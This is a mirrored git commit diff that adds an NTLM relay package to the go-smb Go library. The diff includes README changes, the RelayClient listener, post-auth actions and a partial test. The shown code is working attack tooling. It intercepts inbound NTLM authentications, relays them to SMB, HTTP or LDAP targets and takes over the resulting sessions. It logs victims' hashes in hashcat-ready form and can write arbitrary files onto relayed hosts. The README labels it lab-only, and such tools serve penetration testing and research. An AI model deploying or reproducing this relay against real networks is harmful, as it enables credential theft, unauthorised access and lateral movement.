mirror of
https://github.com/jfjallid/go-smb
synced 2026-06-08 15:02:50 +00:00
relay: multi-target NTLM relay package
Add the relay/ package: listen for inbound SMB or HTTP NTLM authentications, forward them to one or more upstream targets (SMB, HTTP/S, LDAP/S), pool the resulting authenticated sessions, and optionally expose the pool to local tools through a SOCKS5 proxy. Provides RelayServer (long-running multi-target listener with a session pool, post-auth actions and optional fake-server handoff) and RelayClient (one-shot listener returning a single authenticated *smb.Connection), replacing the retired in-package smb.NewRelayConnection. Add the smb.Connection hooks the relay drives: MarkAuthenticated promotes a manually-driven SessionSetup to authenticated state, and SendRawPDU forwards an opaque SMB2 PDU on a pooled connection (re-stamping MessageID and applying signing/encryption).
This commit is contained in:
@@ -36,11 +36,27 @@ A connection could also be established through an upstream SOCKS5 proxy, either
|
||||
by passing credentials through the options struct, or by relying on the upstream
|
||||
proxy to handle authentication such as Impacket's ntlmrelayx.py does.
|
||||
|
||||
A third way is to use the experimental NTLM relay support by listening for
|
||||
incoming SMB connections, forwarding the NTLM authentication to the target
|
||||
system and then hijacking the authenticated connection. This won't work if
|
||||
SMB signing is required or if only SMB 3.x is supported as the current
|
||||
implementation is locked to SMB 2.1.
|
||||
A third way is to use the NTLM relay support in the `relay/` package: listen
|
||||
for incoming SMB or HTTP NTLM authentications, forward them to one or more
|
||||
upstream targets (SMB, HTTP/S, LDAP/S), pool the resulting authenticated
|
||||
sessions, and optionally expose the pool to local tools through a SOCKS5
|
||||
proxy.
|
||||
|
||||
Two entry points are provided:
|
||||
|
||||
- `relay.RelayServer` — long-running multi-target listener with a session
|
||||
pool, post-auth actions, optional fake-server handoff, and an
|
||||
interactive REPL when driven via the `cmd/ntlmrelay` binary. See
|
||||
[`cmd/ntlmrelay/README.md`](cmd/ntlmrelay/README.md) for the user-facing
|
||||
guide.
|
||||
- `relay.RelayClient` — one-shot listener that accepts a single inbound
|
||||
auth and returns the authenticated `*smb.Connection`. This replaces the
|
||||
removed `smb.NewRelayConnection` helper.
|
||||
|
||||
The relay forces SMB 2.1 as the max dialect with signing and encryption
|
||||
disabled, so Windows targets that require SMB signing (the default on
|
||||
modern domain controllers) will refuse the relay. Treat the relay as a
|
||||
lab-only tool.
|
||||
|
||||
For inspiration on how to use the various forms of establishing a connection and
|
||||
how to use the different methods of authentication I recommended inspecting the
|
||||
@@ -59,6 +75,7 @@ different connection types.
|
||||
domain := "domain.local"
|
||||
hashBytes := []byte{} // Either specify a password or the NT Hash bytes for authentication
|
||||
relayConnection := false // if true, perform NTLM relaying
|
||||
relayPort := 445 // local port the relay listener binds when relayConnection is true
|
||||
|
||||
options := smb.Options{
|
||||
Host: targetHost,
|
||||
@@ -86,8 +103,13 @@ different connection types.
|
||||
}
|
||||
|
||||
if relayConnection {
|
||||
options.RelayPort = relayPort
|
||||
session, err = smb.NewRelayConnection(options)
|
||||
// Listen on relayPort, relay the first inbound NTLM authentication
|
||||
// to the target, and hand back the authenticated connection.
|
||||
session, _, err = relay.RelayClient(relay.ClientConfig{
|
||||
ListenAddr: fmt.Sprintf(":%d", relayPort),
|
||||
Target: fmt.Sprintf("%s:%d", targetHost, targetPort),
|
||||
UpstreamOptions: options,
|
||||
})
|
||||
} else {
|
||||
session, err = smb.NewConnection(options)
|
||||
}
|
||||
|
||||
@@ -115,7 +115,7 @@ func NewPipeHandler(pipeName string, services ...Service) *PipeHandler {
|
||||
// type and dispatches accordingly.
|
||||
func (h *PipeHandler) Transceive(ctx context.Context, in []byte) ([]byte, uint32, error) {
|
||||
if len(in) < dcerpc.PDUHeaderCommonSize {
|
||||
return nil, smb.StatusInvalidParameter, fmt.Errorf("dcerpc PDU too short (%d bytes)", len(in))
|
||||
return nil, smb.StatusInvalidParameter, fmt.Errorf("PDU too short (%d bytes)", len(in))
|
||||
}
|
||||
var hdr dcerpc.Header
|
||||
if err := hdr.UnmarshalBinary(in[:dcerpc.PDUHeaderCommonSize]); err != nil {
|
||||
@@ -125,19 +125,19 @@ func (h *PipeHandler) Transceive(ctx context.Context, in []byte) ([]byte, uint32
|
||||
case dcerpc.PacketTypeBind, dcerpc.PacketTypeAlterContext:
|
||||
out, err := h.handleBind(in, &hdr)
|
||||
if err != nil {
|
||||
log.Errorf("dcerpc handleBind (call_id=%d): %v", hdr.CallId, err)
|
||||
log.Errorf("handleBind (call_id=%d): %v", hdr.CallId, err)
|
||||
}
|
||||
return out, smb.StatusOk, err
|
||||
case dcerpc.PacketTypeRequest:
|
||||
out, err := h.handleRequest(ctx, in, &hdr)
|
||||
if err != nil {
|
||||
log.Errorf("dcerpc handleRequest (call_id=%d): %v", hdr.CallId, err)
|
||||
log.Errorf("handleRequest (call_id=%d): %v", hdr.CallId, err)
|
||||
}
|
||||
return out, smb.StatusOk, err
|
||||
default:
|
||||
out, err := h.buildFault(&hdr, 0, NCAStatusUnsupportedType)
|
||||
if err != nil {
|
||||
log.Errorf("dcerpc buildFault (call_id=%d type=0x%x): %v", hdr.CallId, hdr.Type, err)
|
||||
log.Errorf("buildFault (call_id=%d type=0x%x): %v", hdr.CallId, hdr.Type, err)
|
||||
}
|
||||
return out, smb.StatusOk, err
|
||||
}
|
||||
|
||||
+168
@@ -0,0 +1,168 @@
|
||||
// MIT License
|
||||
//
|
||||
// Copyright (c) 2026 Jimmy Fjällid
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to deal
|
||||
// in the Software without restriction, including without limitation the rights
|
||||
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
// copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in all
|
||||
// copies or substantial portions of the Software.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
// SOFTWARE.
|
||||
|
||||
package relay
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"io"
|
||||
|
||||
"github.com/jfjallid/go-smb/dcerpc"
|
||||
"github.com/jfjallid/go-smb/dcerpc/mssrvs"
|
||||
"github.com/jfjallid/go-smb/dcerpc/smbtransport"
|
||||
"github.com/jfjallid/go-smb/smb"
|
||||
"github.com/jfjallid/go-smb/smb/server"
|
||||
)
|
||||
|
||||
// PostAuthAction is run by RelayServer against each upstream connection
|
||||
// immediately after a successful relay. Implementations should respect ctx for
|
||||
// cancellation and tolerate partial failure (RelayServer logs errors but does
|
||||
// not propagate them out).
|
||||
type PostAuthAction interface {
|
||||
Name() string
|
||||
Run(ctx context.Context, conn *smb.Connection, cred *Credential, logger server.Logger) error
|
||||
}
|
||||
|
||||
// EnumSharesAction calls NetShareEnumAll over the upstream's IPC$ named pipe
|
||||
// and writes a one-line-per-share summary to Out (or the logger if Out is
|
||||
// nil). Useful as a quick smoke test that the relayed session is usable.
|
||||
type EnumSharesAction struct {
|
||||
Out io.Writer
|
||||
}
|
||||
|
||||
func (EnumSharesAction) Name() string { return "EnumShares" }
|
||||
|
||||
func (a EnumSharesAction) Run(ctx context.Context, conn *smb.Connection, cred *Credential, logger server.Logger) error {
|
||||
const share = "IPC$"
|
||||
if err := conn.TreeConnect(share); err != nil {
|
||||
return fmt.Errorf("EnumShares: TreeConnect %s: %w", share, err)
|
||||
}
|
||||
defer conn.TreeDisconnect(share)
|
||||
|
||||
f, err := conn.OpenFile(share, mssrvs.MSRPCSrvSvcPipe)
|
||||
if err != nil {
|
||||
return fmt.Errorf("EnumShares: open srvsvc pipe: %w", err)
|
||||
}
|
||||
defer f.CloseFile()
|
||||
|
||||
tr, err := smbtransport.NewSMBTransport(f)
|
||||
if err != nil {
|
||||
return fmt.Errorf("EnumShares: NewSMBTransport: %w", err)
|
||||
}
|
||||
bind, err := dcerpc.Bind(tr, mssrvs.MSRPCUuidSrvSvc, mssrvs.MSRPCSrvSvcMajorVersion, mssrvs.MSRPCSrvSvcMinorVersion, dcerpc.MSRPCUuidNdr)
|
||||
if err != nil {
|
||||
return fmt.Errorf("EnumShares: bind srvsvc: %w", err)
|
||||
}
|
||||
rpc := mssrvs.NewRPCCon(bind)
|
||||
|
||||
host := ""
|
||||
if cred != nil && cred.Workstation != "" {
|
||||
host = cred.Workstation
|
||||
}
|
||||
shares, err := rpc.NetShareEnumAll(host)
|
||||
if err != nil {
|
||||
return fmt.Errorf("EnumShares: NetShareEnumAll: %w", err)
|
||||
}
|
||||
|
||||
header := fmt.Sprintf("EnumShares result for %s (%d shares):", credLabel(cred), len(shares))
|
||||
if a.Out != nil {
|
||||
fmt.Fprintln(a.Out, header)
|
||||
for _, s := range shares {
|
||||
fmt.Fprintf(a.Out, " %-20s %-10s %s\n", s.Name, s.Type, s.Comment)
|
||||
}
|
||||
} else if logger != nil {
|
||||
logger.Noticef("%s", header)
|
||||
for _, s := range shares {
|
||||
logger.Noticef(" %-20s %-10s %s", s.Name, s.Type, s.Comment)
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// DropFileAction writes Content to RemotePath on the named Share. Existing
|
||||
// files are overwritten.
|
||||
type DropFileAction struct {
|
||||
Share string
|
||||
RemotePath string // backslash-separated, no leading slash (e.g. "Users\\Public\\readme.txt")
|
||||
Content []byte
|
||||
}
|
||||
|
||||
func (a DropFileAction) Name() string { return "DropFile:" + a.Share + "\\" + a.RemotePath }
|
||||
|
||||
func (a DropFileAction) Run(ctx context.Context, conn *smb.Connection, cred *Credential, logger server.Logger) error {
|
||||
if a.Share == "" || a.RemotePath == "" {
|
||||
return fmt.Errorf("DropFile: Share and RemotePath are required")
|
||||
}
|
||||
if err := conn.TreeConnect(a.Share); err != nil {
|
||||
return fmt.Errorf("DropFile: TreeConnect %s: %w", a.Share, err)
|
||||
}
|
||||
defer conn.TreeDisconnect(a.Share)
|
||||
|
||||
off := 0
|
||||
if err := conn.PutFile(a.Share, a.RemotePath, 0, func(buf []byte) (int, error) {
|
||||
if off >= len(a.Content) {
|
||||
return 0, io.EOF
|
||||
}
|
||||
n := copy(buf, a.Content[off:])
|
||||
off += n
|
||||
return n, nil
|
||||
}); err != nil {
|
||||
return fmt.Errorf("DropFile: PutFile %s\\%s: %w", a.Share, a.RemotePath, err)
|
||||
}
|
||||
if logger != nil {
|
||||
logger.Noticef("DropFile: wrote %d bytes to %s\\%s as %s",
|
||||
len(a.Content), a.Share, a.RemotePath, credLabel(cred))
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// FuncAction adapts a free function to the PostAuthAction interface. Useful
|
||||
// for ad-hoc actions in tests or callers that don't want to declare a type.
|
||||
type FuncAction struct {
|
||||
NameStr string
|
||||
Fn func(ctx context.Context, conn *smb.Connection, cred *Credential, logger server.Logger) error
|
||||
}
|
||||
|
||||
func (f FuncAction) Name() string {
|
||||
if f.NameStr == "" {
|
||||
return "Func"
|
||||
}
|
||||
return f.NameStr
|
||||
}
|
||||
|
||||
func (f FuncAction) Run(ctx context.Context, conn *smb.Connection, cred *Credential, logger server.Logger) error {
|
||||
if f.Fn == nil {
|
||||
return nil
|
||||
}
|
||||
return f.Fn(ctx, conn, cred, logger)
|
||||
}
|
||||
|
||||
func credLabel(cred *Credential) string {
|
||||
if cred == nil {
|
||||
return "unknown"
|
||||
}
|
||||
if cred.Domain == "" {
|
||||
return cred.Username
|
||||
}
|
||||
return cred.Domain + "\\" + cred.Username
|
||||
}
|
||||
@@ -0,0 +1,133 @@
|
||||
// MIT License
|
||||
//
|
||||
// Copyright (c) 2026 Jimmy Fjällid
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to deal
|
||||
// in the Software without restriction, including without limitation the rights
|
||||
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
// copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in all
|
||||
// copies or substantial portions of the Software.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
// SOFTWARE.
|
||||
|
||||
package relay
|
||||
|
||||
import (
|
||||
"time"
|
||||
)
|
||||
|
||||
// CapturedAuth is a finalized record of one inbound NTLM authentication.
|
||||
// It is what tooling integrators want to consume: timestamps, captured
|
||||
// hash material, what we did with it, and the upstream we tried.
|
||||
type CapturedAuth struct {
|
||||
Time time.Time // capture timestamp
|
||||
Format string // "NetNTLMv1" / "NetNTLMv2"
|
||||
Domain string
|
||||
Username string
|
||||
Workstation string
|
||||
RemoteAddr string // victim's address
|
||||
Target string // upstream we relayed to (canonical "host:port" or full URL)
|
||||
Status string // "captured" while in-flight; finalized to "relayed", "upstream_rejected", or "relay_failed"
|
||||
Hashcat string // hashcat-format hash line, ready for -m 5500/5600
|
||||
}
|
||||
|
||||
// CaptureStatus values surfaced on CapturedAuth.Status.
|
||||
const (
|
||||
CaptureStatusInFlight = "captured"
|
||||
CaptureStatusRelayed = "relayed"
|
||||
CaptureStatusUpstreamRejected = "upstream_rejected"
|
||||
CaptureStatusRelayFailed = "relay_failed"
|
||||
)
|
||||
|
||||
// defaultCaptureBufferSize is the default ring-buffer capacity for
|
||||
// RelayServer.captured when ServerConfig.CaptureBufferSize is unset.
|
||||
const defaultCaptureBufferSize = 1024
|
||||
|
||||
// captureSlot is a handle returned from RelayServer.captureRecord. The
|
||||
// caller mutates Status via finalize() when the relay outcome is known.
|
||||
// Buffer eviction may detach the entry from the buffer; finalize still
|
||||
// fires OnCapture in that case so file writers see every record.
|
||||
type captureSlot struct {
|
||||
rs *RelayServer
|
||||
rec *CapturedAuth
|
||||
}
|
||||
|
||||
// captureRecord appends a new in-flight CapturedAuth to the ring buffer
|
||||
// and returns a slot for later finalization. If the buffer is at capacity
|
||||
// the oldest entry is dropped. cred must be non-nil; pre-cred failures
|
||||
// should not call this. target may be empty if the relay never picked
|
||||
// one (shouldn't happen on the post-cred path).
|
||||
func (rs *RelayServer) captureRecord(cred *Credential, target string) *captureSlot {
|
||||
if cred == nil {
|
||||
return nil
|
||||
}
|
||||
rec := &CapturedAuth{
|
||||
Time: time.Now(),
|
||||
Format: cred.Format,
|
||||
Domain: cred.Domain,
|
||||
Username: cred.Username,
|
||||
Workstation: cred.Workstation,
|
||||
Target: target,
|
||||
Status: CaptureStatusInFlight,
|
||||
Hashcat: cred.Hashcat,
|
||||
}
|
||||
if cred.RemoteAddr != nil {
|
||||
rec.RemoteAddr = cred.RemoteAddr.String()
|
||||
}
|
||||
rs.captureMu.Lock()
|
||||
cap := rs.captureCap
|
||||
if cap >= 0 {
|
||||
rs.captured = append(rs.captured, rec)
|
||||
if cap > 0 && len(rs.captured) > cap {
|
||||
// FIFO evict the oldest; the entry continues to live via slot
|
||||
// references but won't be reported by CapturedCredentials().
|
||||
rs.captured = rs.captured[len(rs.captured)-cap:]
|
||||
}
|
||||
}
|
||||
rs.captureMu.Unlock()
|
||||
return &captureSlot{rs: rs, rec: rec}
|
||||
}
|
||||
|
||||
// finalize stamps the slot's Status and fires the OnCapture hook (if any).
|
||||
// Safe to call on a nil slot — pre-cred failure paths use this to keep call
|
||||
// sites uniform.
|
||||
func (s *captureSlot) finalize(status string) {
|
||||
if s == nil || s.rec == nil {
|
||||
return
|
||||
}
|
||||
s.rs.captureMu.Lock()
|
||||
s.rec.Status = status
|
||||
final := *s.rec // copy under lock for the hook
|
||||
s.rs.captureMu.Unlock()
|
||||
if cb := s.rs.Config.OnCapture; cb != nil {
|
||||
cb(final)
|
||||
}
|
||||
}
|
||||
|
||||
// CapturedCredentials returns a snapshot of every captured authentication
|
||||
// still in the ring buffer, oldest first. Entries with Status =
|
||||
// CaptureStatusInFlight are auths whose upstream outcome isn't decided yet.
|
||||
func (rs *RelayServer) CapturedCredentials() []CapturedAuth {
|
||||
rs.captureMu.Lock()
|
||||
defer rs.captureMu.Unlock()
|
||||
out := make([]CapturedAuth, len(rs.captured))
|
||||
for i, r := range rs.captured {
|
||||
out[i] = *r
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// captureMu / captured / captureCap live on RelayServer (defined in
|
||||
// server.go alongside the rest of the runtime state). They're declared
|
||||
// there so the struct layout stays in one place; this file just owns the
|
||||
// behavior.
|
||||
+295
@@ -0,0 +1,295 @@
|
||||
// MIT License
|
||||
//
|
||||
// Copyright (c) 2026 Jimmy Fjällid
|
||||
//
|
||||
// Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
// of this software and associated documentation files (the "Software"), to deal
|
||||
// in the Software without restriction, including without limitation the rights
|
||||
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
// copies of the Software, and to permit persons to whom the Software is
|
||||
// furnished to do so, subject to the following conditions:
|
||||
//
|
||||
// The above copyright notice and this permission notice shall be included in all
|
||||
// copies or substantial portions of the Software.
|
||||
//
|
||||
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
// SOFTWARE.
|
||||
|
||||
package relay
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"net"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
|
||||
"github.com/jfjallid/go-smb/smb"
|
||||
"github.com/jfjallid/go-smb/smb/server"
|
||||
)
|
||||
|
||||
// ClientConfig configures a one-shot RelayClient.
|
||||
type ClientConfig struct {
|
||||
// ListenAddr is the local TCP address the relay listens on. Defaults to
|
||||
// ":445" if empty. The listener is closed after a single successful
|
||||
// relay (or on timeout / error).
|
||||
ListenAddr string
|
||||
|
||||
// Target is the upstream server. Accepts either bare "host:port" (assumed
|
||||
// SMB) or scheme-prefixed "smb://host[:port]". One-shot client only
|
||||
// supports SMB upstream — for cross-protocol relay use RelayServer.
|
||||
Target string
|
||||
|
||||
// UpstreamOptions configures the upstream *smb.Connection. Sensible
|
||||
// relay defaults (ManualLogin=true, ForceSMB2=true,
|
||||
// DisableSigning=true, DisableEncryption=true) are forced on regardless
|
||||
// of caller settings.
|
||||
UpstreamOptions smb.Options
|
||||
|
||||
// ListenerConfig configures the inbound smb/server listener. If
|
||||
// Authenticator / OnSessionSetup are set the relay will overwrite them.
|
||||
// SigningRequired is forced to false. MaxDialect defaults to
|
||||
// smb.DialectSmb_2_1 if zero.
|
||||
ListenerConfig server.ServerConfig
|
||||
|
||||
// OnCredentialCaptured fires once after the relay has captured the
|
||||
// inbound AUTHENTICATE message and forwarded it upstream, regardless of
|
||||
// whether the upstream accepted it.
|
||||
OnCredentialCaptured func(c *server.Conn, cred *Credential)
|
||||
|
||||
// OnUpstreamReady fires immediately before RelayClient returns, with
|
||||
// the same *smb.Connection.
|
||||
OnUpstreamReady func(*smb.Connection)
|
||||
|
||||
// Logger is the listener's logger.
|
||||
Logger server.Logger
|
||||
|
||||
// Timeout aborts the listener if no successful relay completes before
|
||||
// it elapses. Defaults to 120s.
|
||||
Timeout time.Duration
|
||||
|
||||
// StripMechListMIC drops the inbound MechListMIC instead of passing it
|
||||
// through. Pass-through is the default.
|
||||
StripMechListMIC bool
|
||||
}
|
||||
|
||||
// RelayClient runs a one-shot relay listener: it accepts a single inbound
|
||||
// SMB2 SessionSetup, forwards both NTLMSSP legs to cfg.Target, and returns
|
||||
// the resulting authenticated *smb.Connection along with the captured
|
||||
// credential. The listener is closed before the function returns.
|
||||
//
|
||||
// The relayed (inbound) client always receives STATUS_LOGON_FAILURE — it is
|
||||
// not the consumer of the relay; the caller of RelayClient is.
|
||||
func RelayClient(cfg ClientConfig) (*smb.Connection, *Credential, error) {
|
||||
logger := cfg.Logger
|
||||
if logger == nil {
|
||||
logger = log
|
||||
}
|
||||
if cfg.Target == "" {
|
||||
return nil, nil, fmt.Errorf("ClientConfig.Target is required")
|
||||
}
|
||||
if cfg.ListenAddr == "" {
|
||||
cfg.ListenAddr = ":445"
|
||||
}
|
||||
rawTarget := cfg.Target
|
||||
if !strings.Contains(rawTarget, "://") {
|
||||
if !strings.ContainsRune(rawTarget, ':') {
|
||||
log.Infoln("relay target did not specify a port so falling back to 445")
|
||||
rawTarget += ":445"
|
||||
}
|
||||
rawTarget = "smb://" + rawTarget
|
||||
}
|
||||
target, err := ParseTarget(rawTarget)
|
||||
if err != nil {
|
||||
return nil, nil, err
|
||||
}
|
||||
if target.Protocol != ProtoSMB {
|
||||
return nil, nil, fmt.Errorf("RelayClient only supports smb:// targets, got %s", target.Protocol)
|
||||
}
|
||||
if cfg.Timeout == 0 {
|
||||
cfg.Timeout = 120 * time.Second
|
||||
}
|
||||
if cfg.ListenerConfig.MaxDialect == 0 {
|
||||
cfg.ListenerConfig.MaxDialect = smb.DialectSmb_2_1
|
||||
}
|
||||
cfg.ListenerConfig.SigningRequired = false
|
||||
|
||||
type result struct {
|
||||
up *smb.Connection
|
||||
cred *Credential
|
||||
err error
|
||||
}
|
||||
done := make(chan result, 1)
|
||||
deliver := func(r result) {
|
||||
select {
|
||||
case done <- r:
|
||||
default:
|
||||
}
|
||||
}
|
||||
|
||||
var (
|
||||
mu sync.Mutex
|
||||
fwdsBy = map[*server.Conn]*smbForwarder{}
|
||||
)
|
||||
|
||||
cfg.ListenerConfig.OnSessionSetup = func(c *server.Conn, s *server.Session, blob []byte, stage server.SessionSetupStage) (*server.Status, error) {
|
||||
mu.Lock()
|
||||
f := fwdsBy[c]
|
||||
mu.Unlock()
|
||||
|
||||
switch stage {
|
||||
case server.SessionSetupStageNegotiate:
|
||||
if f != nil {
|
||||
f.Close()
|
||||
}
|
||||
init, err := unwrapNegInit(blob)
|
||||
if err != nil {
|
||||
deliver(result{err: err})
|
||||
return nil, err
|
||||
}
|
||||
nf, err := newSMBForwarder(target, cfg.UpstreamOptions, logger)
|
||||
if err != nil {
|
||||
deliver(result{err: err})
|
||||
return nil, err
|
||||
}
|
||||
chal, err := nf.Negotiate(init.Data.MechToken)
|
||||
if err != nil {
|
||||
nf.Close()
|
||||
deliver(result{err: err})
|
||||
return nil, err
|
||||
}
|
||||
out, err := wrapNegRespAcceptIncomplete(chal)
|
||||
if err != nil {
|
||||
nf.Close()
|
||||
deliver(result{err: err})
|
||||
return nil, err
|
||||
}
|
||||
mu.Lock()
|
||||
fwdsBy[c] = nf
|
||||
mu.Unlock()
|
||||
return &server.Status{
|
||||
Code: smb.StatusMoreProcessingRequired,
|
||||
SecurityBlob: out,
|
||||
}, nil
|
||||
|
||||
case server.SessionSetupStageAuthenticate:
|
||||
if f == nil {
|
||||
return nil, fmt.Errorf("SessionSetup2 with no prior SessionSetup1 on this conn")
|
||||
}
|
||||
resp, err := unwrapNegResp(blob)
|
||||
if err != nil {
|
||||
f.Close()
|
||||
mu.Lock()
|
||||
delete(fwdsBy, c)
|
||||
mu.Unlock()
|
||||
deliver(result{err: err})
|
||||
return &server.Status{Code: smb.StatusLogonFailure}, nil
|
||||
}
|
||||
mic := resp.MechListMIC
|
||||
if cfg.StripMechListMIC {
|
||||
mic = nil
|
||||
}
|
||||
cred, upstreamStatus, err := f.Authenticate(c.RemoteAddr, resp.ResponseToken, mic)
|
||||
if err != nil {
|
||||
f.Close()
|
||||
mu.Lock()
|
||||
delete(fwdsBy, c)
|
||||
mu.Unlock()
|
||||
c.RemoveSession(s.ID)
|
||||
deliver(result{err: err})
|
||||
return &server.Status{Code: smb.StatusLogonFailure}, nil
|
||||
}
|
||||
if cb := cfg.OnCredentialCaptured; cb != nil {
|
||||
cb(c, cred)
|
||||
}
|
||||
if upstreamStatus != smb.StatusOk {
|
||||
f.Close()
|
||||
mu.Lock()
|
||||
delete(fwdsBy, c)
|
||||
mu.Unlock()
|
||||
c.RemoveSession(s.ID)
|
||||
deliver(result{cred: cred, err: fmt.Errorf("upstream rejected auth (status=0x%08x)", upstreamStatus)})
|
||||
return &server.Status{Code: smb.StatusLogonFailure}, nil
|
||||
}
|
||||
up := f.Take()
|
||||
mu.Lock()
|
||||
delete(fwdsBy, c)
|
||||
mu.Unlock()
|
||||
authUser := fmtAuthUser(cred)
|
||||
up.MarkAuthenticated(authUser)
|
||||
deliver(result{up: up, cred: cred})
|
||||
c.RemoveSession(s.ID)
|
||||
return &server.Status{Code: smb.StatusLogonFailure}, nil
|
||||
}
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
l, err := net.Listen("tcp", cfg.ListenAddr)
|
||||
if err != nil {
|
||||
return nil, nil, fmt.Errorf("listen %s: %w", cfg.ListenAddr, err)
|
||||
}
|
||||
srv := &server.Server{Config: &cfg.ListenerConfig}
|
||||
serveDone := make(chan error, 1)
|
||||
go func() { serveDone <- srv.Serve(l) }()
|
||||
|
||||
logger.Noticef("listening on %s, target=%s, timeout=%s", l.Addr(), target.String(), cfg.Timeout)
|
||||
|
||||
var (
|
||||
out *smb.Connection
|
||||
cr *Credential
|
||||
rerr error
|
||||
)
|
||||
select {
|
||||
case r := <-done:
|
||||
out = r.up
|
||||
cr = r.cred
|
||||
rerr = r.err
|
||||
case <-time.After(cfg.Timeout):
|
||||
rerr = fmt.Errorf("timeout after %s with no successful relay", cfg.Timeout)
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 2*time.Second)
|
||||
if sherr := srv.Shutdown(ctx); sherr != nil {
|
||||
log.Debugf("listener shutdown: %v", sherr)
|
||||
}
|
||||
cancel()
|
||||
<-serveDone
|
||||
|
||||
mu.Lock()
|
||||
for c, f := range fwdsBy {
|
||||
f.Close()
|
||||
delete(fwdsBy, c)
|
||||
}
|
||||
mu.Unlock()
|
||||
|
||||
if rerr != nil {
|
||||
if out != nil {
|
||||
out.Close()
|
||||
}
|
||||
return nil, cr, rerr
|
||||
}
|
||||
if out == nil {
|
||||
return nil, cr, fmt.Errorf("listener closed without a successful relay")
|
||||
}
|
||||
if cb := cfg.OnUpstreamReady; cb != nil {
|
||||
cb(out)
|
||||
}
|
||||
return out, cr, nil
|
||||
}
|
||||
|
||||
// fmtAuthUser produces the same "DOMAIN\user" string the legacy relay used.
|
||||
func fmtAuthUser(cred *Credential) string {
|
||||
if cred == nil {
|
||||
return ""
|
||||
}
|
||||
if cred.Domain == "" {
|
||||
return cred.Username
|
||||
}
|
||||
return cred.Domain + "\\" + cred.Username
|
||||
}
|
||||
@@ -0,0 +1,168 @@
|
||||
// MIT License
|
||||
//
|
||||
// Copyright (c) 2026 Jimmy Fjällid
|
||||
|
||||
package relay_test
|
||||
|
||||
import (
|
||||
"context"
|
||||
"net"
|
||||
"sync/atomic"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/jfjallid/go-smb/ntlmssp"
|
||||
"github.com/jfjallid/go-smb/relay"
|
||||
"github.com/jfjallid/go-smb/smb"
|
||||
"github.com/jfjallid/go-smb/smb/server"
|
||||
"github.com/jfjallid/go-smb/smb/server/memvfs"
|
||||
"github.com/jfjallid/go-smb/spnego"
|
||||
)
|
||||
|
||||
// TestRelayClientEndToEnd boots an upstream server with a known account and
|
||||
// a registered share, runs RelayClient pointed at it, drives a client through
|
||||
// the relay listener with the matching credentials, and verifies that the
|
||||
// returned *smb.Connection can TreeConnect against the upstream's share.
|
||||
func TestRelayClientEndToEnd(t *testing.T) {
|
||||
const (
|
||||
user = "alice"
|
||||
password = "Hunter2!"
|
||||
domain = "WORKGROUP"
|
||||
share = "test"
|
||||
)
|
||||
ntHash := ntlmssp.Ntowfv1(password)
|
||||
|
||||
// Upstream: real auth + real share.
|
||||
up := &server.Server{
|
||||
Config: &server.ServerConfig{
|
||||
Authenticator: &server.MapAuthenticator{
|
||||
Domain: domain,
|
||||
Accounts: map[string]*server.Account{user: {NTHash: ntHash}},
|
||||
},
|
||||
},
|
||||
}
|
||||
up.RegisterShare(share, server.Share{Type: smb.ShareTypeDisk, VFS: memvfs.New(memvfs.Options{})})
|
||||
upAddr, upShutdown := startUpstream(t, up)
|
||||
defer upShutdown()
|
||||
|
||||
// Pick a free port for the relay listener.
|
||||
